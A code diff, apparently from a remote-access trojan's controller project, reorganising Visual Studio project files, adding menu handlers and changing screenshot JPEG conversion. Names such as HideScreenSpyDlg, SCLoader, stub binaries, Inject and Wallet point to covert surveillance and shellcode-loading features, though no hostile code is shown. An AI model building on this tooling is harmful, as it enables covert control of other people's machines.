afx_msg void OnOnlineAddWatch();
|
||||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||||
@@ -600,4 +624,10 @@ public:
|
|||||||
afx_msg void OnWebRemoteControl();
|
afx_msg void OnWebRemoteControl();
|
||||||
afx_msg void OnProxyPortAutorun();
|
afx_msg void OnProxyPortAutorun();
|
||||||
afx_msg void OnScreenpreviewLoop();
|
afx_msg void OnScreenpreviewLoop();
|
||||||
|
afx_msg void OnMenuCompress();
|
||||||
|
afx_msg void OnMenuUncompress();
|
||||||
|
afx_msg void OnUninstallSoftware();
|
||||||
|
afx_msg void OnViewHideLog();
|
||||||
|
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
|
||||||
|
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -249,10 +249,6 @@
|
|||||||
<None Include="..\web\index.html" />
|
<None Include="..\web\index.html" />
|
||||||
<None Include="lang\en_US.ini" />
|
<None Include="lang\en_US.ini" />
|
||||||
<None Include="lang\zh_TW.ini" />
|
<None Include="lang\zh_TW.ini" />
|
||||||
<None Include="res\1.cur" />
|
|
||||||
<None Include="res\2.cur" />
|
|
||||||
<None Include="res\2015Remote.ico" />
|
|
||||||
<None Include="res\3.cur" />
|
|
||||||
<None Include="res\3rd\frpc.dll" />
|
<None Include="res\3rd\frpc.dll" />
|
||||||
<None Include="res\3rd\frps.dll" />
|
<None Include="res\3rd\frps.dll" />
|
||||||
<None Include="res\3rd\rcedit.exe" />
|
<None Include="res\3rd\rcedit.exe" />
|
||||||
@@ -260,16 +256,6 @@
|
|||||||
<None Include="res\3rd\SCLoader_64.exe" />
|
<None Include="res\3rd\SCLoader_64.exe" />
|
||||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||||
<None Include="res\3rd\upx.exe" />
|
<None Include="res\3rd\upx.exe" />
|
||||||
<None Include="res\4.cur" />
|
|
||||||
<None Include="res\arrow.cur" />
|
|
||||||
<None Include="res\audio.ico" />
|
|
||||||
<None Include="res\bitmap\bmp00001.bmp" />
|
|
||||||
<None Include="res\Bitmap\Online.bmp" />
|
|
||||||
<None Include="res\bitmap\toolbar1.bmp" />
|
|
||||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
|
||||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
|
||||||
<None Include="res\cmdshell.ico" />
|
|
||||||
<None Include="res\cursor5.cur" />
|
|
||||||
<None Include="res\Cur\1.cur" />
|
<None Include="res\Cur\1.cur" />
|
||||||
<None Include="res\Cur\2.cur" />
|
<None Include="res\Cur\2.cur" />
|
||||||
<None Include="res\Cur\3.cur" />
|
<None Include="res\Cur\3.cur" />
|
||||||
@@ -277,16 +263,10 @@
|
|||||||
<None Include="res\Cur\arrow.cur" />
|
<None Include="res\Cur\arrow.cur" />
|
||||||
<None Include="res\Cur\Drag.cur" />
|
<None Include="res\Cur\Drag.cur" />
|
||||||
<None Include="res\Cur\MutiDrag.cur" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<None Include="res\dword.ico" />
|
|
||||||
<None Include="res\file.ico" />
|
|
||||||
<None Include="res\frpc.dll" />
|
|
||||||
<None Include="res\My2015Remote.rc2" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<None Include="res\pc.ico" />
|
<None Include="res\web\fit.min.js" />
|
||||||
<None Include="res\rcedit.exe" />
|
<None Include="res\web\xterm.css" />
|
||||||
<None Include="res\SCLoader_32.exe" />
|
<None Include="res\web\xterm.min.js" />
|
||||||
<None Include="res\SCLoader_64.exe" />
|
|
||||||
<None Include="res\string.ico" />
|
|
||||||
<None Include="res\upx.exe" />
|
|
||||||
<None Include="stub2\stub32.bin" />
|
<None Include="stub2\stub32.bin" />
|
||||||
<None Include="stub2\stub64.bin" />
|
<None Include="stub2\stub64.bin" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -334,6 +314,7 @@
|
|||||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||||
<ClInclude Include="HostInfo.h" />
|
<ClInclude Include="HostInfo.h" />
|
||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
|
<ClInclude Include="ZstaPickerDlg.h" />
|
||||||
<ClInclude Include="IOCPKCPServer.h" />
|
<ClInclude Include="IOCPKCPServer.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="IOCPUDPServer.h" />
|
<ClInclude Include="IOCPUDPServer.h" />
|
||||||
@@ -378,8 +359,6 @@
|
|||||||
<ClInclude Include="TrueColorToolBar.h" />
|
<ClInclude Include="TrueColorToolBar.h" />
|
||||||
<ClInclude Include="UIBranding.h" />
|
<ClInclude Include="UIBranding.h" />
|
||||||
<ClInclude Include="VideoDlg.h" />
|
<ClInclude Include="VideoDlg.h" />
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
<ClInclude Include="ServerServiceWrapper.h" />
|
<ClInclude Include="ServerServiceWrapper.h" />
|
||||||
<ClInclude Include="ServerSessionMonitor.h" />
|
<ClInclude Include="ServerSessionMonitor.h" />
|
||||||
<ClInclude Include="CIconButton.h" />
|
<ClInclude Include="CIconButton.h" />
|
||||||
@@ -459,6 +438,7 @@
|
|||||||
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
<ClCompile Include="file\CFileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||||
@@ -516,16 +496,17 @@
|
|||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Text Include="..\..\ReadMe.md" />
|
<Image Include="res\2015Remote.ico" />
|
||||||
</ItemGroup>
|
<Image Include="res\audio.ico" />
|
||||||
<ItemGroup>
|
|
||||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
<Image Include="res\Bitmap\Backup.bmp" />
|
<Image Include="res\Bitmap\Backup.bmp" />
|
||||||
|
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||||
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<Image Include="res\Bitmap\delete.bmp" />
|
<Image Include="res\Bitmap\delete.bmp" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||||
@@ -550,6 +531,7 @@
|
|||||||
<Image Include="res\Bitmap\Network.bmp" />
|
<Image Include="res\Bitmap\Network.bmp" />
|
||||||
<Image Include="res\Bitmap\note.bmp" />
|
<Image Include="res\Bitmap\note.bmp" />
|
||||||
<Image Include="res\Bitmap\Notify.bmp" />
|
<Image Include="res\Bitmap\Notify.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Online.bmp" />
|
||||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||||
@@ -563,22 +545,24 @@
|
|||||||
<Image Include="res\Bitmap\Settings.bmp" />
|
<Image Include="res\Bitmap\Settings.bmp" />
|
||||||
<Image Include="res\Bitmap\Share.bmp" />
|
<Image Include="res\Bitmap\Share.bmp" />
|
||||||
<Image Include="res\Bitmap\Show.bmp" />
|
<Image Include="res\Bitmap\Show.bmp" />
|
||||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
|
||||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\Trial.bmp" />
|
<Image Include="res\Bitmap\Trial.bmp" />
|
||||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||||
|
<Image Include="res\bitmap\uncompress.bmp" />
|
||||||
|
<Image Include="res\bitmap\uninstall.bmp" />
|
||||||
<Image Include="res\Bitmap\update.bmp" />
|
<Image Include="res\Bitmap\update.bmp" />
|
||||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap_4.bmp" />
|
|
||||||
<Image Include="res\Bitmap_5.bmp" />
|
|
||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
|
<Image Include="res\cmdshell.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\delete.bmp" />
|
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
|
<Image Include="res\dword.ico" />
|
||||||
|
<Image Include="res\file.ico" />
|
||||||
<Image Include="res\file\FILE.ico" />
|
<Image Include="res\file\FILE.ico" />
|
||||||
<Image Include="res\file\Icon_A.ico" />
|
<Image Include="res\file\Icon_A.ico" />
|
||||||
<Image Include="res\file\Icon_C.ico" />
|
<Image Include="res\file\Icon_C.ico" />
|
||||||
@@ -589,9 +573,11 @@
|
|||||||
<Image Include="res\keyboard.ico" />
|
<Image Include="res\keyboard.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
|
<Image Include="res\pc.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\Snapshot.ico" />
|
<Image Include="res\Snapshot.ico" />
|
||||||
|
<Image Include="res\string.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\toolbar2.bmp" />
|
||||||
@@ -599,14 +585,8 @@
|
|||||||
<Image Include="res\ToolBar_Enable.bmp" />
|
<Image Include="res\ToolBar_Enable.bmp" />
|
||||||
<Image Include="res\ToolBar_Main.bmp" />
|
<Image Include="res\ToolBar_Main.bmp" />
|
||||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||||
<Image Include="res\update.bmp" />
|
|
||||||
<Image Include="res\webcam.ico" />
|
<Image Include="res\webcam.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
|
||||||
<None Include="res\web\xterm.min.js" />
|
|
||||||
<None Include="res\web\xterm.css" />
|
|
||||||
<None Include="res\web\fit.min.js" />
|
|
||||||
</ItemGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
|
|||||||
@@ -19,6 +19,7 @@
|
|||||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
<ClCompile Include="HideScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="InputDlg.cpp" />
|
<ClCompile Include="InputDlg.cpp" />
|
||||||
|
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||||
<ClCompile Include="IOCPServer.cpp" />
|
<ClCompile Include="IOCPServer.cpp" />
|
||||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||||
<ClCompile Include="Loader.c" />
|
<ClCompile Include="Loader.c" />
|
||||||
@@ -107,6 +108,7 @@
|
|||||||
<ClInclude Include="FileTransferModeDlg.h" />
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
|
<ClInclude Include="ZstaPickerDlg.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="KeyBoardDlg.h" />
|
<ClInclude Include="KeyBoardDlg.h" />
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
@@ -133,8 +135,6 @@
|
|||||||
<ClInclude Include="targetver.h" />
|
<ClInclude Include="targetver.h" />
|
||||||
<ClInclude Include="TrueColorToolBar.h" />
|
<ClInclude Include="TrueColorToolBar.h" />
|
||||||
<ClInclude Include="VideoDlg.h" />
|
<ClInclude Include="VideoDlg.h" />
|
||||||
<ClInclude Include="zconf.h" />
|
|
||||||
<ClInclude Include="zlib.h" />
|
|
||||||
<ClInclude Include="file\CFileManagerDlg.h">
|
<ClInclude Include="file\CFileManagerDlg.h">
|
||||||
<Filter>file</Filter>
|
<Filter>file</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
@@ -193,32 +193,66 @@
|
|||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\Bitmap\authorize.bmp" />
|
<None Include="res\My2015Remote.rc2" />
|
||||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
<None Include="res\Cur\Drag.cur" />
|
||||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
<None Include="res\Cur\MutiDrag.cur" />
|
||||||
<Image Include="res\Bitmap\note.bmp" />
|
<None Include="res\Cur\4.cur" />
|
||||||
<Image Include="res\Bitmap\proxy.bmp" />
|
<None Include="res\Cur\2.cur" />
|
||||||
<Image Include="res\Bitmap\Share.bmp" />
|
<None Include="res\Cur\3.cur" />
|
||||||
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
<None Include="res\Cur\1.cur" />
|
||||||
<Image Include="res\Bitmap\unauthorize.bmp" />
|
<None Include="res\Cur\arrow.cur" />
|
||||||
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
<None Include="..\..\Release\ServerDll.dll" />
|
||||||
<Image Include="res\Bitmap_4.bmp" />
|
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||||
<Image Include="res\Bitmap_5.bmp" />
|
<None Include="..\..\Release\ghost.exe" />
|
||||||
<Image Include="res\chat.ico" />
|
<None Include="..\..\x64\Release\ghost.exe" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<None Include="..\..\Release\TestRun.exe" />
|
||||||
<Image Include="res\delete.bmp" />
|
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||||
|
<None Include="res\3rd\upx.exe" />
|
||||||
|
<None Include="..\..\Release\TinyRun.dll" />
|
||||||
|
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||||
|
<None Include="res\3rd\frpc.dll" />
|
||||||
|
<None Include="res\3rd\frps.dll" />
|
||||||
|
<None Include="..\..\Release\SCLoader.exe" />
|
||||||
|
<None Include="..\..\x64\Release\SCLoader.exe" />
|
||||||
|
<None Include="res\3rd\rcedit.exe" />
|
||||||
|
<None Include="res\web\xterm.min.js" />
|
||||||
|
<None Include="res\web\xterm.css" />
|
||||||
|
<None Include="res\web\fit.min.js" />
|
||||||
|
<None Include="..\web\index.html" />
|
||||||
|
<None Include="stub2\stub32.bin" />
|
||||||
|
<None Include="stub2\stub64.bin" />
|
||||||
|
<None Include="lang\en_US.ini" />
|
||||||
|
<None Include="lang\zh_TW.ini" />
|
||||||
|
<None Include="res\3rd\SCLoader_32.exe" />
|
||||||
|
<None Include="res\3rd\SCLoader_64.exe" />
|
||||||
|
<None Include="..\..\linux\ghost" />
|
||||||
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||||
|
<None Include="..\..\macos\ghost" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="file">
|
||||||
|
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="res\2015Remote.ico" />
|
||||||
|
<Image Include="res\cmdshell.ico" />
|
||||||
|
<Image Include="res\audio.ico" />
|
||||||
|
<Image Include="res\file.ico" />
|
||||||
|
<Image Include="res\pc.ico" />
|
||||||
|
<Image Include="res\dword.ico" />
|
||||||
|
<Image Include="res\string.ico" />
|
||||||
|
<Image Include="res\webcam.ico" />
|
||||||
<Image Include="res\keyboard.ico" />
|
<Image Include="res\keyboard.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
|
||||||
<Image Include="res\password.ico" />
|
<Image Include="res\password.ico" />
|
||||||
<Image Include="res\proxifler.ico" />
|
<Image Include="res\proxifler.ico" />
|
||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\Snapshot.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\toolbar2.bmp" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\update.bmp" />
|
|
||||||
<Image Include="res\webcam.ico" />
|
|
||||||
<Image Include="res\file\FILE.ico" />
|
<Image Include="res\file\FILE.ico" />
|
||||||
|
<Image Include="res\Snapshot.ico" />
|
||||||
<Image Include="res\file\Icon_A.ico" />
|
<Image Include="res\file\Icon_A.ico" />
|
||||||
<Image Include="res\file\Icon_C.ico" />
|
<Image Include="res\file\Icon_C.ico" />
|
||||||
<Image Include="res\file\Icon_D.ico" />
|
<Image Include="res\file\Icon_D.ico" />
|
||||||
@@ -226,6 +260,24 @@
|
|||||||
<Image Include="res\file\Icon_F.ico" />
|
<Image Include="res\file\Icon_F.ico" />
|
||||||
<Image Include="res\file\Icon_G.ico" />
|
<Image Include="res\file\Icon_G.ico" />
|
||||||
<Image Include="res\DrawingBoard.ico" />
|
<Image Include="res\DrawingBoard.ico" />
|
||||||
|
<Image Include="res\Bitmap\Online.bmp" />
|
||||||
|
<Image Include="res\ToolBar_Main_Res.bmp" />
|
||||||
|
<Image Include="res\ToolBar_Main.bmp" />
|
||||||
|
<Image Include="res\toolbar1.bmp" />
|
||||||
|
<Image Include="res\ToolBar_Enable.bmp" />
|
||||||
|
<Image Include="res\toolbar2.bmp" />
|
||||||
|
<Image Include="res\ToolBar_Disable.bmp" />
|
||||||
|
<Image Include="res\Bitmap\delete.bmp" />
|
||||||
|
<Image Include="res\Bitmap\update.bmp" />
|
||||||
|
<Image Include="res\Bitmap\Share.bmp" />
|
||||||
|
<Image Include="res\Bitmap\proxy.bmp" />
|
||||||
|
<Image Include="res\Bitmap\note.bmp" />
|
||||||
|
<Image Include="res\Bitmap\VirtualDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
|
||||||
|
<Image Include="res\Bitmap\authorize.bmp" />
|
||||||
|
<Image Include="res\Bitmap\unauthorize.bmp" />
|
||||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||||
@@ -235,18 +287,11 @@
|
|||||||
<Image Include="res\Bitmap\Inject.bmp" />
|
<Image Include="res\Bitmap\Inject.bmp" />
|
||||||
<Image Include="res\Bitmap\HostProxy.bmp" />
|
<Image Include="res\Bitmap\HostProxy.bmp" />
|
||||||
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
<Image Include="res\Bitmap\LoginNotify.bmp" />
|
||||||
<Image Include="res\ToolBar_Main_Res.bmp" />
|
|
||||||
<Image Include="res\ToolBar_Main.bmp" />
|
|
||||||
<Image Include="res\ToolBar_Enable.bmp" />
|
|
||||||
<Image Include="res\ToolBar_Disable.bmp" />
|
|
||||||
<Image Include="res\Bitmap\delete.bmp" />
|
|
||||||
<Image Include="res\Bitmap\update.bmp" />
|
|
||||||
<Image Include="res\Bitmap\Shutdown.bmp" />
|
<Image Include="res\Bitmap\Shutdown.bmp" />
|
||||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||||
<Image Include="res\Bitmap\Logout.bmp" />
|
<Image Include="res\Bitmap\Logout.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||||
<Image Include="res\Bitmap\Show.bmp" />
|
<Image Include="res\Bitmap\Show.bmp" />
|
||||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
|
||||||
<Image Include="res\Bitmap\Exit.bmp" />
|
<Image Include="res\Bitmap\Exit.bmp" />
|
||||||
<Image Include="res\Bitmap\Settings.bmp" />
|
<Image Include="res\Bitmap\Settings.bmp" />
|
||||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||||
@@ -275,75 +320,10 @@
|
|||||||
<Image Include="res\Bitmap\Trigger.bmp" />
|
<Image Include="res\Bitmap\Trigger.bmp" />
|
||||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||||
</ItemGroup>
|
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||||
<ItemGroup>
|
<Image Include="res\bitmap\compress.bmp" />
|
||||||
<None Include="..\..\Release\ghost.exe" />
|
<Image Include="res\bitmap\uncompress.bmp" />
|
||||||
<None Include="..\..\Release\ServerDll.dll" />
|
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||||
<None Include="..\..\Release\TestRun.exe" />
|
<Image Include="res\bitmap\uninstall.bmp" />
|
||||||
<None Include="..\..\Release\TinyRun.dll" />
|
|
||||||
<None Include="..\..\x64\Release\ghost.exe" />
|
|
||||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
|
||||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
|
||||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
|
||||||
<None Include="res\1.cur" />
|
|
||||||
<None Include="res\2.cur" />
|
|
||||||
<None Include="res\2015Remote.ico" />
|
|
||||||
<None Include="res\3.cur" />
|
|
||||||
<None Include="res\4.cur" />
|
|
||||||
<None Include="res\arrow.cur" />
|
|
||||||
<None Include="res\audio.ico" />
|
|
||||||
<None Include="res\bitmap\bmp00001.bmp" />
|
|
||||||
<None Include="res\Bitmap\Online.bmp" />
|
|
||||||
<None Include="res\bitmap\toolbar1.bmp" />
|
|
||||||
<None Include="res\Bitmap\ToolBar_File.bmp" />
|
|
||||||
<None Include="res\Bitmap\ToolBar_Main.bmp" />
|
|
||||||
<None Include="res\cmdshell.ico" />
|
|
||||||
<None Include="res\cursor5.cur" />
|
|
||||||
<None Include="res\Cur\Drag.cur" />
|
|
||||||
<None Include="res\Cur\MutiDrag.cur" />
|
|
||||||
<None Include="res\dword.ico" />
|
|
||||||
<None Include="res\file.ico" />
|
|
||||||
<None Include="res\My2015Remote.rc2" />
|
|
||||||
<None Include="res\pc.ico" />
|
|
||||||
<None Include="res\string.ico" />
|
|
||||||
<None Include="res\upx.exe" />
|
|
||||||
<None Include="res\frpc.dll" />
|
|
||||||
<None Include="..\..\Release\SCLoader.exe" />
|
|
||||||
<None Include="..\..\x64\Release\SCLoader.exe" />
|
|
||||||
<None Include="res\rcedit.exe" />
|
|
||||||
<None Include="stub2\stub32.bin" />
|
|
||||||
<None Include="stub2\stub64.bin" />
|
|
||||||
<None Include="res\SCLoader_32.exe" />
|
|
||||||
<None Include="res\SCLoader_64.exe" />
|
|
||||||
<None Include="..\..\linux\ghost" />
|
|
||||||
<None Include="res\Cur\4.cur" />
|
|
||||||
<None Include="res\Cur\2.cur" />
|
|
||||||
<None Include="res\Cur\3.cur" />
|
|
||||||
<None Include="res\Cur\1.cur" />
|
|
||||||
<None Include="res\Cur\arrow.cur" />
|
|
||||||
<None Include="res\3rd\upx.exe" />
|
|
||||||
<None Include="res\3rd\frpc.dll" />
|
|
||||||
<None Include="res\3rd\frps.dll" />
|
|
||||||
<None Include="res\3rd\rcedit.exe" />
|
|
||||||
<None Include="res\3rd\SCLoader_32.exe" />
|
|
||||||
<None Include="res\3rd\SCLoader_64.exe" />
|
|
||||||
<None Include="lang\en_US.ini" />
|
|
||||||
<None Include="lang\zh_TW.ini" />
|
|
||||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
|
||||||
<None Include="..\..\macos\ghost" />
|
|
||||||
<None Include="..\web\index.html" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Text Include="..\..\ReadMe.md" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<Filter Include="file">
|
|
||||||
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
|
|
||||||
</Filter>
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
|
||||||
<None Include="res\web\xterm.min.js" />
|
|
||||||
<None Include="res\web\xterm.css" />
|
|
||||||
<None Include="res\web\fit.min.js" />
|
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -284,13 +284,13 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 复制数据(注意:DIB 是底部到顶部,需要翻转)
|
// 输入已为 top-down 的紧凑 BGR24(调用方已通过 Process24BitBmp /
|
||||||
|
// ConvertScreenshot32to24 完成翻转与去对齐),此处直接按行拷贝即可
|
||||||
BYTE* srcData = (BYTE*)lpBuffer;
|
BYTE* srcData = (BYTE*)lpBuffer;
|
||||||
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
||||||
|
|
||||||
for (int y = 0; y < height; y++) {
|
for (int y = 0; y < height; y++) {
|
||||||
// DIB 是从底部开始的,所以需要翻转
|
BYTE* srcRow = srcData + y * rowSize;
|
||||||
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
|
|
||||||
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
||||||
memcpy(dstRow, srcRow, width * 3);
|
memcpy(dstRow, srcRow, width * 3);
|
||||||
}
|
}
|
||||||
|
|||||||
